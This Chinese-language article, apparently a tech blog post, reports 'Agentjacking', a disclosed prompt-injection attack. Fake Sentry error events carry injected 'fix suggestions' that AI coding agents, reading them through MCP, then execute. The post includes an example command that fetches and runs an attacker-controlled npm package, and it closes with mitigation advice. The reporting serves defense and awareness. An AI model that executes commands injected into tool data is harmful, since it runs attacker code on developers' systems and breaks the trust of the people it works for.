这事有个名字,叫Agentjacking。Tenet Security的安全团队六月中旬披露了这个新攻击类型,已经确认2388个组织暴露,实测100+个AI Agent被成功劫持,受害者从独立开发者一路到Fortune 100。
一、攻击怎么发生的:三步把你的AI助手变成马甲

第一步,找DSN。Sentry的Data Source Name是公开的——任何网站的前端JS里都能找到,它就是用来让应用把错误报告发给Sentry的标识符。没有密码,不需要认证。
第二步,发假报错。攻击者用这个公开DSN往Sentry POST一条精心构造的错误事件。里面用Markdown注入藏了一段"修复建议",看起来和Sentry自己生成的诊断提示一模一样——命令如npx @attacker-controlled-package --diagnose。
第三步,AI上钩。开发者让Claude Code或Cursor去查Sentry的未解决报错,AI Agent通过MCP协议拿到这条"错误",把它当成Sentry的可信系统输出。然后AI执行了那条"修复建议"。问题来了:AI分不清什么是数据、什么是命令。这是模型本身的结构性缺陷,不是配置问题,没法靠打个补丁解决。
二、为什么安全软件全哑了:"每一步都有授权"

Tenet给这条攻击链起了个名字叫"授权意图链"(Authorized Intent Chain)。什么意思?攻击者的POST请求是合法的(Sentry本来就接受任何人的错误报告),Sentry MCP返回数据是合法的(它就是干这个的),AI Agent读取Sentry数据是合法的(你让它查的),AI执行终端命令也是合法的(你授权它修的)。
整条链上,EDR不响、WAF不管、防火墙没感觉、Cloudflare也无动于衷——因为没有恶意文件的签名、没有未授权的网络连接、没有任何一步看起来像攻击。安全圈有个老笑话,"攻击者不需要黑进你的系统,他只需要合法地走进去",Agentjacking把这个笑话变成了现实。
更离谱的是覆盖面。不是某个AI工具的问题,Claude Code、Cursor、Codex全中招——因为它们的共同点不是代码实现,而是信任MCP返回的数据。只要AI Agent通过MCP连接了Sentry(这是标准配置),它就暴露了。
三、怎么办:Tenet开源了防护配置,但这只是开始

Tenet在披露的同时开源了一个叫agent-jackstop的防护工具——给Cursor和Claude Code的一键配置文件,用于硬编码禁止Agent自动执行来自Sentry等外部遥测工具的npm命令。算是止血贴。
但说实话,这攻击暴露的问题比解决方案大得多。MCP协议的设计前提是"AI Agent应该信任MCP Server返回的数据",这个前提在Agentjacking面前直接破产。未来所有的AI Agent集成——不只是Sentry,任何MCP Server(数据库、API、文件系统)都可能成为注入入口。
给你的建议:① 如果你的团队在用AI编程助手+Sentry,现在就去查Sentry DSN有没有暴露在前端JS里;② 限制Agent的自动执行权限,至少敏感命令(npm install、git push、环境变量读取)必须加人工确认;③ 关注Tenet 7月9号关于Agentjacking的公开Webinar,他们会现场演示完整攻击链路和防御方案。
这不是最后一个Agentjacking——这是第一个。
参考来源:Tenet Security Threat Labs, The New Stack, Hackread, Secure.com, CISO Platform
夜雨聆风